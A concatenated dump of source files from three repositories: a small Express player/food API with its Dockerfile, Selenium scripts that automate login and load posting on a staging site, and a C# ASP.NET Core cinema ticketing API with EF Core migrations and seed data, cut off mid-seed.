//PLAYERS ROUTES // app.get("/api/players/:id", playersController.getCustomerById); app.post("/api/player", playersController.createPlayer); //FOOD ROUTES app.get("/api/food", foodController.getAllFoods); app.put("/api/food", foodController.saveFoods); }; <file_sep>FROM node:8.6.0 RUN mkdir -p /wwwroot WORKDIR /wwwroot RUN npm install --global nodemon COPY package.json /wwwroot/ RUN npm install COPY . /wwwroot EXPOSE 3000 CMD ["npm", "run", "serve"] <file_sep>const db = require('../db.js'); const Player = require('../model/Player') module.exports = { getAllPlayers: (req, res) => { Player.findAll() .then(players => res.send(players)) }, createPlayer: (req, res) => { const { playerName } = req.body console.log('playerName') console.log(playerName) Player.create({ playerName }).then(p => res.send(p)) } }
7cba69c0712a84db4a1b20c300c70436fad316f2
[ "JavaScript", "YAML", "Dockerfile" ]
13
JavaScript
Luke-Wilson/what-will-devon-eat
e2f66e76b60d62968a7bb287c165fe63b1072418
fb14d606e3053c01abc0dc857224b983f8e5fe3a
refs/heads/master
<repo_name>SadCoder94/nodeselenium<file_sep>/awaittest.js const {By, Key, until, LegacyActionSequence} = require('selenium-webdriver') const sleep = require('thread-sleep') let dimn=({width:1366,height:768}) let chrome = require('selenium-webdriver/chrome'); let {Builder} = require('selenium-webdriver'); let driver = new Builder() .forBrowser('chrome') .setChromeOptions(new chrome.Options().windowSize(dimn)) .build(); var openload_id_old ='none',openload_id_new ='none' async function login() { try{ await driver.get('http://staging.superprocure.com/app')//open site const phoneNo = await driver.findElement(By.xpath('//*[@id=\"mat-form\"]/div/div[1]/input'))//phone number input field element phoneNo.sendKeys('1<PASSWORD>', Key.RETURN)//phone number entry const header = await driver.findElement(By.xpath('//*[@id="form-home"]/div/div[2]/div/div[1]/div[2]/p[1]/h3'))//header element var visible = await driver.wait(until.elementIsVisible(header),10000)//wait until header change is visible const OTP = await driver.findElement(By.xpath("//body/div[@id='root']/div/div/div[@id='form-home']/div[@class='form-wrapper']/div[2]/div[@class='signin-form form-two show-form']/div[@class='row']/div[@class='col-md-12']/form[@id='mat-form']/div[@class='wrapper']/div[@class='inner-wrap']/input"))//otp input field element await OTP.sendKeys('<PASSWORD>', Key.RETURN)//set otp } catch(e) { console.log('ERROR ERROR ERROR in Login\n'+e) } } async function postLoad() { try{ openload_id_old = await get_first_load_id()//get loadid sleep(500) const postLoadxpath="/html[@class=' js flexbox flexboxlegacy canvas canvastext webgl no-touch geolocation postmessage websqldatabase indexeddb hashchange history draganddrop websockets rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio localstorage sessionstorage webworkers applicationcache svg inlinesvg smil svgclippaths']/body/div[@id='root']/div/div/div/div/div/div[1]/div[2]/div[@id='desktop-header']/div[@class='row']/div[@class='btn btn-primary dropdown m-l-20']/div[@class='col-xs-1 p-0 f-14']/b"//postload button const eAuctionxpath="/html[@class=' js flexbox flexboxlegacy canvas canvastext webgl no-touch geolocation postmessage websqldatabase indexeddb hashchange history draganddrop websockets rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio localstorage sessionstorage webworkers applicationcache svg inlinesvg smil svgclippaths']/body/div[@id='root']/div/div/div/div/div/div[1]/div[2]/div[@id='desktop-header']/div[@class='row']/div[@class='btn btn-primary dropdown m-l-20']/div[@class='col-xs-1 p-0 f-14']/div[@class='dropdown-content m-t-5 t-o-t-l']/ul/li[1]"//e-Auction option const postloadbutton = await driver.findElement(By.xpath(postLoadxpath)) await hoverOver(postloadbutton)//trigger hover on post button await driver.findElement(By.xpath(eAuctionxpath)).click() sleep(2000) await driver.findElement(By.xpath("//div[@class='Select-placeholder']")).click()//Unloading point sleep(1000) await driver.findElement(By.xpath("//*[@id='react-select-4--option-0']/span/span[1]")).click()//1st option of unloading point dropdown await driver.findElement(By.xpath("//div[@class='modal-footer']/button[@class='btn btn-primary']")).click()//click post button await driver.findElement(By.xpath("//button[@class='close']")).click()//click close button } catch(e) { console.log('ERROR ERROR ERROR in postLoad\n'+e) } } async function hoverOver(element) { await new LegacyActionSequence(driver) .mouseMove(element,{x:0,y:0}) .perform() } async function get_first_load_id(){ sleep(3000) var first_open_load="//body/div[@id='root']/div/div/div/div/div/div[2]/div[@class='container-fluid carrier-body m-t-5']/div[@class='carrier-load']/div[1]/div[@class='row custom-row load-row']/div[@class='col-md-2 col-sm-2 col-xs-12 margin-bottom'][1]/div[@class='row']/div[@class='col-md-6 col-sm-6 col-xs-6']"//first load in open tab var id= await driver.findElement(By.xpath(first_open_load)).getText()//get load id of first load return id; } async function checkLoadPost(){ try{ openload_id_new = await get_first_load_id() sleep(1000) if(parseInt(openload_id_new.split('#')[1])>=parseInt(openload_id_old.split('#')[1])+1) console.log('load post successful') else console.log('nope') } catch(e){ console.log('ERROR ERROR ERROR in postLoad check\n'+e) } } (async () => { try{ console.log('login start') await login() console.log('login end, postload start') await postLoad() console.log('postload end, check load post start') await checkLoadPost() driver.quit() } catch(e) { console.log('ERROR ERROR ERROR in starter\n'+e) } // async call })()<file_sep>/test.js var webdriver = require('selenium-webdriver'); require('chromedriver') var driver = new webdriver.Builder() .forBrowser('chrome') .build(); //driver.manage().timeouts().implicitlyWait(10); function scrollingIntoView() { var element = driver.findElement(webdriver.By.id("featurette-13")) .then(function(element) { var element1 = driver.executeScript("arguments[0].scrollIntoView();", element); }); } driver.get('https://smartbear.com') .then(scrollingIntoView()); driver.quit()<file_sep>/newtest.js require('chromedriver'); const selenium = require('selenium-webdriver'); var until = selenium.until; var By = selenium.By; const driver = new selenium.Builder().forBrowser("chrome").build(); const url = "http://staging.superprocure.com/app"; driver.get(url); var phno=driver.findElement(By.xpath("//*[@id=\"mat-form\"]/div/div[1]/input")) .then(function(phno){ phno.sendKeys('1111111111') .then(function(){ console.log('LOGIN'); var button=driver.findElement(By.className("btn btn-primary")).click() }) .then(function(){ var otp=driver.findElement(By.xpath("/html[@class=' js flexbox flexboxlegacy canvas canvastext webgl no-touch geolocation postmessage websqldatabase indexeddb hashchange history draganddrop websockets rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio localstorage sessionstorage webworkers applicationcache svg inlinesvg smil svgclippaths']/body/div[@id='root']/div/div/div[@id='form-home']/div[@class='form-wrapper']/div[2]/div[@class='signin-form form-two show-form']/div[@class='row']/div[@class='col-md-12']/form[@id='mat-form']/div[@class='wrapper']/div[@class='inner-wrap']/input")) }); }); //*[@id="form-home"]/div/div[1]/div/div[4]/div/button //driver.wait(until.elementLocated(By.xpath("//*[@id=\"form-home\"]/div/div[2]/div/div[1]/div[2]/p[1]/h3")),3000);
1d904052865d62b9e10d1ba496cbe0f2bc440081
[ "JavaScript" ]
3
JavaScript
SadCoder94/nodeselenium
b3c36821fa63eed9e97511c8cf0b22e787257058
83bfaa8f21b16fb7535a85c452aa36c129608dec
refs/heads/master
<repo_name>ET33/BilheteriaCinema<file_sep>/BilheteriaCinema.Infra/Repository/IngressoRepository.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using BilheteriaCinema.Infra.EF.Model; using Microsoft.EntityFrameworkCore; namespace BilheteriaCinema.Infra.EF.Repository { public class IngressoRepository : IIngressoRepository { private readonly DbBilheteriaCinemaContext _dbContext; public IngressoRepository(DbBilheteriaCinemaContext dbContext) { _dbContext = dbContext; } public async Task<IngressoModel> BuscarIngresso(int codigo) { return await _dbContext.Ingressos.FirstAsync(x => x.Codigo == codigo); } public async Task<IngressoModel> CriarIngresso(IngressoModel ingresso) { ingresso = _dbContext.Ingressos.Add(ingresso).Entity; await _dbContext.SaveChangesAsync(); return ingresso; } public async Task DeletarIngresso(int codigo) { var ingresso = await _dbContext.Ingressos.FirstAsync(x => x.Codigo == codigo); _dbContext.Remove(ingresso); await _dbContext.SaveChangesAsync(); } } } <file_sep>/BilheteriaCinema.Infra/Model/FilmeModel.cs using System; using System.Collections.Generic; namespace BilheteriaCinema.Infra.EF.Model { public class FilmeModel { public int Id { get; set; } public string Nome { get; set; } public int Codigo { get; set; } public TimeSpan Duracao { get; set; } public int FaixaEtaria { get; set; } public string Genero { get; set; } public List<SessaoModel> Sessoes { get; set; } } } <file_sep>/BilheteriaCinema.Infra/Migrations/20191209012842_InitialCreate.cs using System; using Microsoft.EntityFrameworkCore.Metadata; using Microsoft.EntityFrameworkCore.Migrations; namespace BilheteriaCinema.Infra.EF.Migrations { public partial class InitialCreate : Migration { protected override void Up(MigrationBuilder migrationBuilder) { migrationBuilder.EnsureSchema( name: "dbo"); migrationBuilder.CreateTable( name: "Filme", schema: "dbo", columns: table => new { Id = table.Column<int>(nullable: false) .Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn), Nome = table.Column<string>(maxLength: 120, nullable: false), Codigo = table.Column<int>(nullable: false), Duracao = table.Column<TimeSpan>(nullable: false), FaixaEtaria = table.Column<int>(nullable: false), Genero = table.Column<string>(maxLength: 20, nullable: false) }, constraints: table => { table.PrimaryKey("PK_Filme", x => x.Id); }); migrationBuilder.CreateTable( name: "Sala", schema: "dbo", columns: table => new { Id = table.Column<int>(nullable: false) .Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn), Descricao = table.Column<string>(maxLength: 240, nullable: false), Codigo = table.Column<int>(nullable: false), Lugares = table.Column<int>(nullable: false), Disponivel = table.Column<bool>(nullable: false) }, constraints: table => { table.PrimaryKey("PK_Sala", x => x.Id); }); migrationBuilder.CreateTable( name: "Sessao", schema: "dbo", columns: table => new { Id = table.Column<int>(nullable: false) .Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn), Descricao = table.Column<string>(maxLength: 240, nullable: false), Codigo = table.Column<int>(nullable: false), Horario = table.Column<DateTime>(nullable: false), Valor = table.Column<decimal>(nullable: false), CodigoSala = table.Column<int>(nullable: false), SalaId = table.Column<int>(nullable: true), CodigoFilme = table.Column<int>(nullable: false), FilmeId = table.Column<int>(nullable: true) }, constraints: table => { table.PrimaryKey("PK_Sessao", x => x.Id); table.ForeignKey( name: "FK_Sessao_Filme_FilmeId", column: x => x.FilmeId, principalSchema: "dbo", principalTable: "Filme", principalColumn: "Id", onDelete: ReferentialAction.Restrict); table.ForeignKey( name: "FK_Sessao_Sala_SalaId", column: x => x.SalaId, principalSchema: "dbo", principalTable: "Sala", principalColumn: "Id", onDelete: ReferentialAction.Restrict); }); migrationBuilder.CreateTable( name: "Ingresso", schema: "dbo", columns: table => new { Id = table.Column<int>(nullable: false) .Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn), Codigo = table.Column<int>(nullable: false), CPF = table.Column<string>(maxLength: 11, nullable: false), DataCompra = table.Column<DateTime>(nullable: false), ValorPago = table.Column<decimal>(nullable: false), Observacao = table.Column<string>(maxLength: 240, nullable: false), CodigoSessao = table.Column<int>(nullable: false), SessaoId = table.Column<int>(nullable: true) }, constraints: table => { table.PrimaryKey("PK_Ingresso", x => x.Id); table.ForeignKey( name: "FK_Ingresso_Sessao_SessaoId", column: x => x.SessaoId, principalSchema: "dbo", principalTable: "Sessao", principalColumn: "Id", onDelete: ReferentialAction.Restrict); }); migrationBuilder.CreateIndex( name: "IX_Filme_Codigo", schema: "dbo", table: "Filme", column: "Codigo", unique: true); migrationBuilder.CreateIndex( name: "IX_Filme_Id", schema: "dbo", table: "Filme", column: "Id", unique: true); migrationBuilder.CreateIndex( name: "IX_Ingresso_Codigo", schema: "dbo", table: "Ingresso", column: "Codigo", unique: true); migrationBuilder.CreateIndex( name: "IX_Ingresso_Id", schema: "dbo", table: "Ingresso", column: "Id", unique: true); migrationBuilder.CreateIndex( name: "IX_Ingresso_SessaoId", schema: "dbo", table: "Ingresso", column: "SessaoId"); migrationBuilder.CreateIndex( name: "IX_Sala_Codigo", schema: "dbo", table: "Sala", column: "Codigo", unique: true); migrationBuilder.CreateIndex( name: "IX_Sala_Id", schema: "dbo", table: "Sala", column: "Id", unique: true); migrationBuilder.CreateIndex( name: "IX_Sessao_Codigo", schema: "dbo", table: "Sessao", column: "Codigo", unique: true); migrationBuilder.CreateIndex( name: "IX_Sessao_FilmeId", schema: "dbo", table: "Sessao", column: "FilmeId"); migrationBuilder.CreateIndex( name: "IX_Sessao_Id", schema: "dbo", table: "Sessao", column: "Id", unique: true); migrationBuilder.CreateIndex( name: "IX_Sessao_SalaId", schema: "dbo", table: "Sessao", column: "SalaId"); } protected override void Down(MigrationBuilder migrationBuilder) { migrationBuilder.DropTable( name: "Ingresso", schema: "dbo"); migrationBuilder.DropTable( name: "Sessao", schema: "dbo"); migrationBuilder.DropTable( name: "Filme", schema: "dbo"); migrationBuilder.DropTable( name: "Sala", schema: "dbo"); } } } <file_sep>/BilheteriaCinema.Infra/Repository/ISalaRepository.cs using System.Collections.Generic; using System.Threading.Tasks; using BilheteriaCinema.Infra.EF.Model; namespace BilheteriaCinema.Infra.EF.Repository { public interface ISalaRepository { Task<List<SalaModel>> BuscarSalas(bool? disponivel, int? min, int? max); Task<SalaModel> BuscarSala(int codigo); Task<SalaModel> CriarSala(SalaModel sala); } } <file_sep>/BilheteriaCinema.Infra/DbBilheteriaCinemaContextFactory.cs using System; using System.IO; using Microsoft.EntityFrameworkCore; using Microsoft.EntityFrameworkCore.Design; using Microsoft.Extensions.Configuration; namespace BilheteriaCinema.Infra.EF { public class DbBilheteriaCinemaContextFactory : IDesignTimeDbContextFactory<DbBilheteriaCinemaContext> { public DbBilheteriaCinemaContext CreateDbContext(string[] args) { var environment = Environment.GetEnvironmentVariable("ASPNETCORE_ENVIRONMENT"); environment = string.IsNullOrEmpty(environment) ? "Development" : environment; var configuration = new ConfigurationBuilder() .SetBasePath($"{Directory.GetParent(".").FullName}/BilheteriaCinema") .AddJsonFile($"appsettings.{environment}.json") .Build(); var connectionString = configuration.GetConnectionString("SqlConnection"); var optionsBuilder = new DbContextOptionsBuilder<DbBilheteriaCinemaContext>(); optionsBuilder.UseSqlServer(connectionString); return new DbBilheteriaCinemaContext(optionsBuilder.Options); } } }<file_sep>/BilheteriaCinema.Infra/Repository/IIngressoRepository.cs using System.Threading.Tasks; using BilheteriaCinema.Infra.EF.Model; namespace BilheteriaCinema.Infra.EF.Repository { public interface IIngressoRepository { Task<IngressoModel> BuscarIngresso(int codigo); Task<IngressoModel> CriarIngresso(IngressoModel ingresso); Task DeletarIngresso(int codigo); } } <file_sep>/BilheteriaCinema.Application/Application/IngressoApplication.cs using System; using System.Collections.Generic; using System.Threading.Tasks; using BilheteriaCinema.Application.DTO; using BilheteriaCinema.Infra.EF.Model; using BilheteriaCinema.Infra.EF.Repository; namespace BilheteriaCinema.Application.Application { public class IngressoApplication : IIngressoApplication { private readonly IIngressoRepository _ingressoRepository; private readonly ISessaoRepository _sessaoRepository; public IngressoApplication(IIngressoRepository ingressoRepository, ISessaoRepository sessaoRepository) { _ingressoRepository = ingressoRepository; _sessaoRepository = sessaoRepository; } public async Task<IngressoDTO> BuscarIngresso(int codigo) { var model = await _ingressoRepository.BuscarIngresso(codigo); if (model == null) return null; var dto = new IngressoDTO { Codigo = model.Codigo, CPF = model.CPF, DataCompra = model.DataCompra, ValorPago = model.ValorPago, Observacao = model.Observacao, CodigoSessao = model.CodigoSessao, }; return dto; } public async Task<IngressoDTO> ComprarIngresso(IngressoDTO dto) { var sessao = await _sessaoRepository.BuscarSessao(dto.CodigoSessao); if (sessao == null) throw new Exception(); var model = new IngressoModel { Codigo = dto.Codigo, CPF = dto.CPF, DataCompra = dto.DataCompra, ValorPago = dto.ValorPago, Observacao = dto.Observacao, CodigoSessao = dto.CodigoSessao, }; model = await _ingressoRepository.CriarIngresso(model); dto.Codigo = model.Codigo; return dto; } public async Task CancelarCompra(int codigo) { await _ingressoRepository.DeletarIngresso(codigo); } } } <file_sep>/BilheteriaCinema/Controller/FilmeController.cs using System.Collections.Generic; using System.Threading.Tasks; using BilheteriaCinema.Application.Application; using BilheteriaCinema.Application.DTO; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; namespace BilheteriaCinema.Controller { [Route("api/[controller]")] [ApiController] public class FilmeController : ControllerBase { private readonly IFilmeApplication _filmeApplication; public FilmeController(IFilmeApplication filmeApplication) { _filmeApplication = filmeApplication; } [HttpGet] [ProducesResponseType(typeof(List<FilmeDTO>),StatusCodes.Status200OK)] public async Task<IActionResult> Get() { var filmes = await _filmeApplication.BuscarFilmes(); return Ok(filmes); } // GET: api/Filme/{codigo} [HttpGet("{codigo}")] [ProducesResponseType(typeof(FilmeDTO),StatusCodes.Status200OK)] public async Task<IActionResult> Get(int codigo) { var filme = await _filmeApplication.BuscarFilme(codigo); return Ok(filme); } } } <file_sep>/BilheteriaCinema/Controller/IngressoController.cs using System; using System.Collections.Generic; using System.Threading.Tasks; using BilheteriaCinema.Application.Application; using BilheteriaCinema.Application.DTO; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; namespace BilheteriaCinema.Controller { [Route("api/[controller]")] [ApiController] public class IngressoController : ControllerBase { private readonly IIngressoApplication _ingressoApplication; public IngressoController(IIngressoApplication ingressoApplication) { _ingressoApplication = ingressoApplication; } // GET: api/Ingresso/{codigo} [HttpGet("{codigo}")] [ProducesResponseType(typeof(IngressoDTO),StatusCodes.Status200OK)] public async Task<IActionResult> Get(int codigo) { var ingressos = await _ingressoApplication.BuscarIngresso(codigo); return Ok(ingressos); } // POST: api/Ingresso [HttpPost] [ProducesResponseType(typeof(IngressoDTO),StatusCodes.Status200OK)] public async Task<IActionResult> Post([FromBody] IngressoDTO ingresso) { ingresso = await _ingressoApplication.ComprarIngresso(ingresso); return Ok(ingresso); } // DELETE: api/Ingresso [HttpDelete("{codigo}")] [ProducesResponseType(StatusCodes.Status200OK)] public async Task<IActionResult> Delete(int codigo) { await _ingressoApplication.CancelarCompra(codigo); return Ok(); } } } <file_sep>/BilheteriaCinema/Controller/SessaoController.cs using System; using System.Collections.Generic; using System.Threading.Tasks; using BilheteriaCinema.Application.Application; using BilheteriaCinema.Application.DTO; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; namespace BilheteriaCinema.Controller { [Route("api/[controller]")] [ApiController] public class SessaoController : ControllerBase { private readonly ISessaoApplication _sessaoApplication; public SessaoController(ISessaoApplication sessaoApplication) { _sessaoApplication = sessaoApplication; } // GET: api/Sessao [HttpGet] [ProducesResponseType(typeof(List<SessaoDTO>),StatusCodes.Status200OK)] public async Task<IActionResult> Get([FromQuery] DateTime? inicio, [FromQuery]DateTime? fim, [FromQuery]int? sala, [FromQuery]int? filme) { var sessoes = await _sessaoApplication.BuscarSessoes(inicio, fim, sala, filme); return Ok(sessoes); } // DELETE: api/Sessao/{codigo} [HttpDelete("{codigo}")] [ProducesResponseType(StatusCodes.Status200OK)] public async Task<IActionResult> Delete(int codigo) { await _sessaoApplication.CancelarSessao(codigo); return Ok(); } } } <file_sep>/BilheteriaCinema.Application/Application/SalaApplication.cs using System.Collections.Generic; using System.Threading.Tasks; using BilheteriaCinema.Application.DTO; using BilheteriaCinema.Infra.EF.Model; using BilheteriaCinema.Infra.EF.Repository; namespace BilheteriaCinema.Application.Application { public class SalaApplication : ISalaApplication { private readonly ISalaRepository _salaRepository; public SalaApplication(ISalaRepository salaRepository) { _salaRepository = salaRepository; } public async Task<List<SalaDTO>> BuscarSalas(bool? disponivel, int? min, int? max) { var models = await _salaRepository.BuscarSalas(disponivel, min, max); var dtos = new List<SalaDTO>(); foreach (var model in models) { var dto = new SalaDTO { Descricao = model.Descricao, Codigo = model.Codigo, Lugares = model.Lugares, Disponivel = model.Disponivel, }; dtos.Add(dto); } return dtos; } public async Task<SalaDTO> BuscarSala(int codigo) { var model = await _salaRepository.BuscarSala(codigo); if (model == null) return null; var dto = new SalaDTO { Descricao = model.Descricao, Codigo = model.Codigo, Lugares = model.Lugares, Disponivel = model.Disponivel, }; return dto; } public async Task<SalaDTO> CadastrarSala(SalaDTO dto) { var model = new SalaModel { Descricao = dto.Descricao, Codigo = dto.Codigo, Lugares = dto.Lugares, Disponivel = dto.Disponivel, }; model = await _salaRepository.CriarSala(model); return dto; } } } <file_sep>/BilheteriaCinema/Controller/SalaController.cs using System.Collections.Generic; using System.Threading.Tasks; using BilheteriaCinema.Application.Application; using BilheteriaCinema.Application.DTO; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; namespace BilheteriaCinema.Controller { [Route("api/[controller]")] [ApiController] public class SalaController : ControllerBase { private readonly ISalaApplication _salaApplication; public SalaController(ISalaApplication salaApplication) { _salaApplication = salaApplication; } // GET: api/Sala [HttpGet] [ProducesResponseType(typeof(SalaDTO),StatusCodes.Status200OK)] public async Task<IActionResult> Get(bool? disponivel, int? min, int? max) { var salas = await _salaApplication.BuscarSalas(disponivel, min, max); return Ok(salas); } // GET: api/Sala/{codigo} [HttpGet("{codigo}")] [ProducesResponseType(typeof(List<SalaDTO>),StatusCodes.Status200OK)] public async Task<IActionResult> Get(int codigo) { var sala = await _salaApplication.BuscarSala(codigo); return Ok(sala); } // POST: api/Sala [HttpPost] [ProducesResponseType(typeof(SalaDTO),StatusCodes.Status200OK)] public async Task<IActionResult> Post([FromBody] SalaDTO sala) { sala = await _salaApplication.CadastrarSala(sala); return Ok(sala); } } } <file_sep>/BilheteriaCinema.Infra/Repository/ISessaoRepository.cs using System; using BilheteriaCinema.Infra.EF.Model; using System.Collections.Generic; using System.Threading.Tasks; namespace BilheteriaCinema.Infra.EF.Repository { public interface ISessaoRepository { Task<List<SessaoModel>> BuscarSessoes(DateTime? inicio, DateTime? fim, int? sala, int? filme); Task<SessaoModel> BuscarSessao(int codigo); Task DeletarSessao(int codigo); } } <file_sep>/BilheteriaCinema.Application/Application/IIngressoApplication.cs using BilheteriaCinema.Application.DTO; using System.Threading.Tasks; namespace BilheteriaCinema.Application.Application { public interface IIngressoApplication { Task<IngressoDTO> BuscarIngresso(int codigo); Task<IngressoDTO> ComprarIngresso(IngressoDTO ingresso); Task CancelarCompra(int codigo); } } <file_sep>/BilheteriaCinema.Infra/Repository/SalaRepository.cs using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using BilheteriaCinema.Infra.EF.Model; using Microsoft.EntityFrameworkCore; namespace BilheteriaCinema.Infra.EF.Repository { public class SalaRepository : ISalaRepository { private readonly DbBilheteriaCinemaContext _dbContext; public SalaRepository(DbBilheteriaCinemaContext dbContext) { _dbContext = dbContext; } public async Task<List<SalaModel>> BuscarSalas(bool? disponivel, int? min, int? max) { return await _dbContext.Salas.Where(x => (disponivel == null || x.Disponivel == disponivel) && (min == null || x.Lugares >= min) && (max == null || x.Lugares <= max)) .ToListAsync(); } public async Task<SalaModel> BuscarSala(int codigo) { return await _dbContext.Salas.FirstAsync(x => x.Codigo == codigo); } public async Task<SalaModel> CriarSala(SalaModel sala) { sala = _dbContext.Salas.Add(sala).Entity; await _dbContext.SaveChangesAsync(); return sala; } } } <file_sep>/BilheteriaCinema.Infra/Model/SessaoModel.cs using System; using System.Collections.Generic; namespace BilheteriaCinema.Infra.EF.Model { public class SessaoModel { public int Id { get; set; } public string Descricao { get; set; } public int Codigo { get; set; } public DateTime Horario { get; set; } public decimal Valor { get; set; } public int CodigoSala { get; set; } public SalaModel Sala { get; set; } public int CodigoFilme { get; set; } public FilmeModel Filme { get; set; } public List<IngressoModel> Ingressos { get; set; } } } <file_sep>/BilheteriaCinema/Startup.cs using BilheteriaCinema.Application.Application; using BilheteriaCinema.Infra.EF; using BilheteriaCinema.Infra.EF.Repository; using BilheteriaCinema.Infra.EF.Utils; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Mvc; using Microsoft.EntityFrameworkCore; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Microsoft.OpenApi.Models; namespace BilheteriaCinema { public class Startup { public Startup(IConfiguration configuration) { Configuration = configuration; } public IConfiguration Configuration { get; } public void ConfigureServices(IServiceCollection services) { var connectionString = Configuration.GetConnectionString("SqlConnection"); services.AddDbContext<DbBilheteriaCinemaContext>(options => options.UseSqlServer(connectionString)); services.AddMvc().SetCompatibilityVersion(CompatibilityVersion.Version_2_2); AddApplications(services); AddRepositories(services); services.AddSwaggerGen(c => { c.SwaggerDoc("v1", new OpenApiInfo { Title = "Bilheteria Cinema API", Version = "v1" }); }); } public void Configure(IApplicationBuilder app, IHostingEnvironment env) { if (env.IsDevelopment()) app.UseDeveloperExceptionPage(); else app.UseHsts(); app.UseSwaggerUI(c => { c.SwaggerEndpoint("/swagger/v1/swagger.json", "Bilheteria Cinema API v1"); }); app.UseSwagger(); app.UseHttpsRedirection(); app.UseMvc(); app.UseDatabaseMigration(); app.UseDatabaseSeed(); } public void AddApplications(IServiceCollection services) { services.AddScoped<IFilmeApplication, FilmeApplication>(); services.AddScoped<IIngressoApplication, IngressoApplication>(); services.AddScoped<ISalaApplication, SalaApplication>(); services.AddScoped<ISessaoApplication, SessaoApplication>(); } public void AddRepositories(IServiceCollection services) { services.AddScoped<IFilmeRepository, FilmeRepository>(); services.AddScoped<IIngressoRepository, IngressoRepository>(); services.AddScoped<ISalaRepository, SalaRepository>(); services.AddScoped<ISessaoRepository, SessaoRepository>(); } } } <file_sep>/BilheteriaCinema.Application/Application/IFilmeApplication.cs using BilheteriaCinema.Application.DTO; using System.Collections.Generic; using System.Threading.Tasks; namespace BilheteriaCinema.Application.Application { public interface IFilmeApplication { Task<List<FilmeDTO>> BuscarFilmes(); Task<FilmeDTO> BuscarFilme(int codigo); } } <file_sep>/BilheteriaCinema.Infra/Repository/IFilmeRepository.cs using System.Collections.Generic; using System.Threading.Tasks; using BilheteriaCinema.Infra.EF.Model; namespace BilheteriaCinema.Infra.EF.Repository { public interface IFilmeRepository { Task<List<FilmeModel>> BuscarFilmes(); Task<FilmeModel> BuscarFilme(int codigo); } } <file_sep>/BilheteriaCinema.Application/DTO/FilmeDTO.cs using System; namespace BilheteriaCinema.Application.DTO { public class FilmeDTO { public string Nome { get; set; } public int Codigo { get; set; } public TimeSpan Duracao { get; set; } public int FaixaEtaria { get; set; } public string Genero { get; set; } } } <file_sep>/BilheteriaCinema.Infra/MapClass/MapIngressoModel.cs using BilheteriaCinema.Infra.EF.Model; using Microsoft.EntityFrameworkCore; namespace BilheteriaCinema.Infra.EF.MapClass { public static class MapIngressoModel { public static void MapIngresso(this ModelBuilder modelBuilder) { modelBuilder.Entity<IngressoModel>(e => { e.ToTable("Ingresso", "dbo"); e.HasIndex(p => p.Id) .IsUnique(); e.HasIndex(p => p.Codigo) .IsUnique(); e.Property(p => p.Id) .ValueGeneratedOnAdd(); e.Property(p => p.CPF) .HasMaxLength(11) .IsRequired(); e.Property(p => p.DataCompra) .IsRequired(); e.Property(p => p.ValorPago) .IsRequired(); e.Property(p => p.Observacao) .HasMaxLength(240) .IsRequired(); e.Property(p => p.CodigoSessao) .IsRequired(); }); } } }<file_sep>/BilheteriaCinema.Application/Application/SessaoApplication.cs using System; using System.Collections.Generic; using System.Threading.Tasks; using BilheteriaCinema.Application.DTO; using BilheteriaCinema.Infra.EF.Model; using BilheteriaCinema.Infra.EF.Repository; namespace BilheteriaCinema.Application.Application { public class SessaoApplication : ISessaoApplication { private readonly ISessaoRepository _sessaoRepository; private readonly IFilmeRepository _filmeRepository; private readonly ISalaRepository _salaRepository; public SessaoApplication(ISessaoRepository sessaoRepository, IFilmeRepository filmeRepository, ISalaRepository salaRepository) { _sessaoRepository = sessaoRepository; _filmeRepository = filmeRepository; _salaRepository = salaRepository; } public async Task<List<SessaoDTO>> BuscarSessoes(DateTime? inicio, DateTime? fim, int? sala, int? filme) { var models = await _sessaoRepository.BuscarSessoes( inicio, fim, sala, filme); var dtos = new List<SessaoDTO>(); foreach (var model in models) { var dto = new SessaoDTO { Descricao = model.Descricao, Codigo = model.Codigo, Horario = model.Horario, Valor = model.Valor, CodigoSala = model.CodigoSala, CodigoFilme = model.CodigoFilme }; dtos.Add(dto); } if (dtos.Count == 0) throw new Exception("Erro"); return dtos; } public async Task CancelarSessao(int codigo) { await _sessaoRepository.DeletarSessao(codigo); } } } <file_sep>/BilheteriaCinema.Infra/Utils/ApplicationBuilderExtensions.cs using BilheteriaCinema.Infra.EF.Model; using Microsoft.AspNetCore.Builder; using Microsoft.EntityFrameworkCore; using Microsoft.Extensions.DependencyInjection; using System; using System.Collections.Generic; using System.Linq; namespace BilheteriaCinema.Infra.EF.Utils { public static class ApplicationBuilderExtensions { public static void UseDatabaseMigration(this IApplicationBuilder app) { using (var scope = app.ApplicationServices.CreateScope()) { var context = scope.ServiceProvider.GetService<DbBilheteriaCinemaContext>(); context.Database.Migrate(); } } public static void UseDatabaseSeed(this IApplicationBuilder app) { using (var scope = app.ApplicationServices.CreateScope()) { var context = scope.ServiceProvider.GetService<DbBilheteriaCinemaContext>(); if (context.Filmes.Count() == 0) { context.AddRange( new List<FilmeModel> { new FilmeModel { Codigo = 1, Nome = "Velozes & Furiosos 8", Duracao = TimeSpan.FromMinutes(149), FaixaEtaria = 14, Genero = "Ação" }, new FilmeModel { Codigo = 2, Nome = "Star Wars: A Ascensão Skywalker", Duracao = TimeSpan.FromMinutes(142), FaixaEtaria = 14, Genero = "Aventura" }, new FilmeModel { Codigo = 3, Nome = "Coringa", Duracao = TimeSpan.FromMinutes(121), FaixaEtaria = 16, Genero = "Ação" }, new FilmeModel { Codigo = 4, Nome = "Toy Story 4", Duracao = 